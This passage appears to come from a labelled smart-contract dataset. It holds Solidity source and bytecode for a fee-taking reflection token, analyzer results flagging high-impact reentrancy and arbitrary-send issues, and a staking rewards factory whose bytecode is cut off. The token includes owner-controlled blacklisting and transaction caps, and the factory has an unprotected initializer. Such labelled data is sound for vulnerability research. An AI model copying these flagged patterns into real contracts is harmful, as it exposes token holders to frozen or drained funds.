to, amount); emit TransferType(_ethSent, transferType, amount); _ethSent=0; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000 * 10 ** 9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function updateMaxTx (uint256 fee) public onlyOwner { _maxTxAmount = fee; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063c2d0ffca1161008a578063cc653b4411610064578063cc653b4414610463578063dd62ed3e14610499578063f2fde38b146104df578063ff872602146104ff57600080fd5b8063c2d0ffca14610419578063c3c8cd8014610439578063c9567bf91461044e57600080fd5b8063715018a61461037a5780638da5cb5b1461038f57806395d89b41146103ad578063a9059cbb146103d9578063b515566a146103f9578063bc3371821461041957600080fd5b8063313ce5671161013e5780635932ead1116101185780635932ead11461030557806366718524146103255780636fc3eaec1461034557806370a082311461035a57600080fd5b8063313ce567146102a957806341e978fa146102c557806349bd5a5e146102e557600080fd5b806306fdde0314610191578063095ea7b3146101d95780631694505e1461020957806318160ddd1461024157806323b872dd14610267578063273123b71461028757600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b5060408051808201909152600d81526c26b7b732bc90283934b73a32b960991b60208201525b6040516101d09190611bc4565b60405180910390f35b3480156101e557600080fd5b506101f96101f4366004611a55565b610514565b60405190151581526020016101d0565b34801561021557600080fd5b50600f54610229906001600160a01b031681565b6040516001600160a01b0390911681526020016101d0565b34801561024d57600080fd5b50683635c9adc5dea000005b6040519081526020016101d0565b34801561027357600080fd5b506101f9610282366004611a15565b61052b565b34801561029357600080fd5b506102a76102a23660046119a5565b610594565b005b3480156102b557600080fd5b50604051600981526020016101d0565b3480156102d157600080fd5b50600e54610229906001600160a01b031681565b3480156102f157600080fd5b50601054610229906001600160a01b031681565b34801561031157600080fd5b506102a7610320366004611b47565b6105e8565b34801561033157600080fd5b506102a76103403660046119a5565b610630565b34801561035157600080fd5b506102a761067c565b34801561036657600080fd5b506102596103753660046119a5565b6106a9565b34801561038657600080fd5b506102a76106cb565b34801561039b57600080fd5b506000546001600160a01b0316610229565b3480156103b957600080fd5b5060408051808201909152600381526221292960e91b60208201526101c3565b3480156103e557600080fd5b506101f96103f4366004611a55565b610701565b34801561040557600080fd5b506102a7610414366004611a80565b61070e565b34801561042557600080fd5b506102a7610434366004611b7f565b6107b2565b34801561044557600080fd5b506102a76107e1565b34801561045a57600080fd5b506102a7610817565b34801561046f57600080fd5b5061025961047e3660046119a5565b6001600160a01b031660009081526004602052604090205490565b3480156104a557600080fd5b506102596104b43660046119dd565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156104eb57600080fd5b506102a76104fa3660046119a5565b610bdb565b34801561050b57600080fd5b506102a7610c73565b6000610521338484610cac565b5060015b92915050565b6000610538848484610dd0565b61058a843361058585604051806060016040528060288152602001611d95602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061123c565b610cac565b5060019392505050565b6000546001600160a01b031633146105c75760405162461bcd60e51b81526004016105be90611c17565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6000546001600160a01b031633146106125760405162461bcd60e51b81526004016105be90611c17565b60108054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461065a5760405162461bcd60e51b81526004016105be90611c17565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b600e546001600160a01b0316336001600160a01b03161461069c57600080fd5b476106a681611276565b50565b6001600160a01b038116600090815260026020526040812054610525906112b0565b6000546001600160a01b031633146106f55760405162461bcd60e51b81526004016105be90611c17565b6106ff6000611334565b565b6000610521338484610dd0565b6000546001600160a01b031633146107385760405162461bcd60e51b81526004016105be90611c17565b60005b81518110156107ae5760016007600084848151811061076a57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107a681611d2a565b91505061073b565b5050565b6000546001600160a01b031633146107dc5760405162461bcd60e51b81526004016105be90611c17565b601155565b600e546001600160a01b0316336001600160a01b03161461080157600080fd5b600061080c306106a9565b90506106a681611384565b6000546001600160a01b031633146108415760405162461bcd60e51b81526004016105be90611c17565b601054600160a01b900460ff161561089b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105be565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108d83082683635c9adc5dea00000610cac565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561091157600080fd5b505afa158015610925573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094991906119c1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099157600080fd5b505afa1580156109a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c991906119c1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a1157600080fd5b505af1158015610a25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4991906119c1565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610a79816106a9565b600080610a8e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610af157600080fd5b505af1158015610b05573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b2a9190611b97565b5050601080546801158e460913d0000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ba357600080fd5b505af1158015610bb7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ae9190611b63565b6000546001600160a01b03163314610c055760405162461bcd60e51b81526004016105be90611c17565b6001600160a01b038116610c6a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105be565b6106a681611334565b6000546001600160a01b03163314610c9d5760405162461bcd60e51b81526004016105be90611c17565b683635c9adc5dea00000601155565b6001600160a01b038316610d0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105be565b6001600160a01b038216610d6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105be565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105be565b6001600160a01b038216610e965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105be565b60008111610ef85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105be565b6000610f12846010546001600160a01b0391821691161490565b610f8b576001600160a01b03841660009081526004602052604090205415801590610f6357506001600160a01b0384166000908152600460205260409020544290610f609062015180611cbc565b10155b15610f7a57506005600b556014600c556001610fd1565b506000600b55600c80556002610fd1565b6001600160a01b038316600090815260046020526040902054610fc4576001600160a01b03831660009081526004602052604090204290555b506002600b55600c805560035b6001600160a01b03841660009081526006602052604090205460ff168061101057506001600160a01b03831660009081526006602052604090205460ff165b1561102357506000600b819055600c8190555b6000546001600160a01b0385811691161480159061104f57506000546001600160a01b03848116911614155b156111e3576001600160a01b03841660009081526007602052604090205460ff1615801561109657506001600160a01b03831660009081526007602052604090205460ff16155b61109f57600080fd5b6010546001600160a01b0385811691161480156110ca5750600f546001600160a01b03848116911614155b80156110ef57506001600160a01b03831660009081526006602052604090205460ff16155b80156111045750601054600160b81b900460ff165b156111615760115482111561111857600080fd5b6001600160a01b038316600090815260086020526040902054421161113c57600080fd5b61114742601e611cbc565b6001600160a01b0384166000908152600860205260409020555b600061116c306106a9565b601054909150600160a81b900460ff1615801561119757506010546001600160a01b03868116911614155b80156111ac5750601054600160b01b900460ff165b156111e157600b54600c546111c083611384565b4780156111d6576111d047611276565b600d8190555b50600b91909155600c555b505b6111ee848484611529565b600d54604080519182526020820183905281018390527f52cc9b3b9b2fbca105996d3a85d38c08aa29f0228c897d6e2ab118a3c0ea8bfd9060600160405180910390a150506000600d555050565b600081848411156112605760405162461bcd60e51b81526004016105be9190611bc4565b50600061126d8486611d13565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107ae573d6000803e3d6000fd5b60006009548211156113175760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105be565b6000611321611539565b905061132d838261155c565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113da57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561142e57600080fd5b505afa158015611442573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061146691906119c1565b8160018151811061148757634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546114ad9130911684610cac565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e6908590600090869030904290600401611c4c565b600060405180830381600087803b15801561150057600080fd5b505af1158015611514573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b61153483838361159e565b505050565b6000806000611546611695565b9092509050611555828261155c565b9250505090565b600061132d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116d7565b6000806000806000806115b087611705565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115e29087611762565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461161190866117a4565b6001600160a01b03891660009081526002602052604090205561163381611803565b61163d848361184d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161168291815260200190565b60405180910390a3505050505050505050565b6009546000908190683635c9adc5dea000006116b1828261155c565b8210156116ce57505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836116f85760405162461bcd60e51b81526004016105be9190611bc4565b50600061126d8486611cd4565b60008060008060008060008060006117228a600b54600c54611871565b9250925092506000611732611539565b905060008060006117458e8787876118c6565b919e509c509a509598509396509194505050505091939550919395565b600061132d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061123c565b6000806117b18385611cbc565b90508381101561132d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105be565b600061180d611539565b9050600061181b8383611916565b3060009081526002602052604090205490915061183890826117a4565b30600090815260026020526040902055505050565b60095461185a9083611762565b600955600a5461186a90826117a4565b600a555050565b600080808061188b60646118858989611916565b9061155c565b9050600061189e60646118858a89611916565b905060006118b6826118b08b86611762565b90611762565b9992985090965090945050505050565b60008080806118d58886611916565b905060006118e38887611916565b905060006118f18888611916565b90506000611903826118b08686611762565b939b939a50919850919650505050505050565b60008261192557506000610525565b60006119318385611cf4565b90508261193e8583611cd4565b1461132d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105be565b80356119a081611d71565b919050565b6000602082840312156119b6578081fd5b813561132d81611d71565b6000602082840312156119d2578081fd5b815161132d81611d71565b600080604083850312156119ef578081fd5b82356119fa81611d71565b91506020830135611a0a81611d71565b809150509250929050565b600080600060608486031215611a29578081fd5b8335611a3481611d71565b92506020840135611a4481611d71565b929592945050506040919091013590565b60008060408385031215611a67578182fd5b8235611a7281611d71565b946020939093013593505050565b60006020808385031215611a92578182fd5b823567ffffffffffffffff80821115611aa9578384fd5b818501915085601f830112611abc578384fd5b813581811115611ace57611ace611d5b565b8060051b604051601f19603f83011681018181108582111715611af357611af3611d5b565b604052828152858101935084860182860187018a1015611b11578788fd5b8795505b83861015611b3a57611b2681611995565b855260019590950194938601938601611b15565b5098975050505050505050565b600060208284031215611b58578081fd5b813561132d81611d86565b600060208284031215611b74578081fd5b815161132d81611d86565b600060208284031215611b90578081fd5b5035919050565b600080600060608486031215611bab578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611bf057858101830151858201604001528201611bd4565b81811115611c015783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c9b5784516001600160a01b031683529383019391830191600101611c76565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ccf57611ccf611d45565b500190565b600082611cef57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d0e57611d0e611d45565b500290565b600082821015611d2557611d25611d45565b500390565b6000600019821415611d3e57611d3e611d45565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146106a657600080fd5b80151581146106a657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e50af2500c11bf50169d9f32b53cc6c0473a9447b2ca8a69d843f727a15c1c3b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
539
0xe3A8F85Ab99E5e90d9d0Dda0Adf2139389D6106C
pragma solidity ^0.5.17; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IRewardDistributionRecipient { function notifyRewardAmount(uint256 reward, uint256 duration) external; } contract StakingRewardsFactory { using SafeMath for uint256; using SafeERC20 for IERC20; bool internal initialized; address public owner; address public rewardsToken; // Info of each pool. struct PoolInfo { address poolAddress; uint256 allocPoint; } uint256 public totalAllocPoint; // Info of each pool. PoolInfo[] public poolInfo; function initialize(address newOwner, address _rewardsToken) public { require(!initialized, "already initialized"); require(newOwner != address(0), "new owner is the zero address"); initialized = true; owner = newOwner; rewardsToken = _rewardsToken; } function add(uint256 _allocPoint, address _poolAddress) public onlyOwner { totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ poolAddress: _poolAddress, allocPoint: _allocPoint })); } // Update the given pool's SUSHI allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint) public onlyOwner { totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } function notifyRewardAmounts(uint256 reward, uint256 duration) public onlyOwner { uint balance = IERC20(rewardsToken).balanceOf(address(this)); require(balance >= reward, 'reward balance is not enough'); for (uint i = 0; i < poolInfo.length; i++) { PoolInfo storage pool = poolInfo[i]; uint256 rewardAmount = balance.mul(pool.allocPoint).div(totalAllocPoint); IERC20(rewardsToken).safeTransfer(pool.poolAddress, rewardAmount); IRewardDistributionRecipient(pool.poolAddress).notifyRewardAmount(rewardAmount, duration); } } modifier onlyOwner() { require(msg.sender == owner, "!owner"); _; } }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c8063485cc9551161005b578063485cc955146101a657806351cba1ed1461020a5780638da5cb5b14610242578063d1af0c7d1461028c57610088565b80631526fe271461008d57806317caf6f1146101025780631ab06ee5146101205780632b8bbbe814610158575b600080fd5b6100b9600480360360208110156100a357600080fd5b81019080803590602001909291905050506102d6565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b61010a610327565b6040518082815260200191505060405180910390f35b6101566004803603604081101561013657600080fd5b81019080803590602001909291908035906020019092919050505061032d565b005b6101a46004803603604081101561016e57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610462565b005b610208600480360360408110156101bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105f0565b005b6102406004803603604081101561022057600080fd5b8101908080359060200190929190803590602001909291905050506107b5565b005b61024a610b4a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610294610b70565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600381815481106102e357fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154905082565b60025481565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610435816104276003858154811061040457fe5b906000526020600020906002020160010154600254610b9690919063ffffffff16565b610be090919063ffffffff16565b600281905550806003838154811061044957fe5b9060005260206000209060020201600101819055505050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373fffffffffffff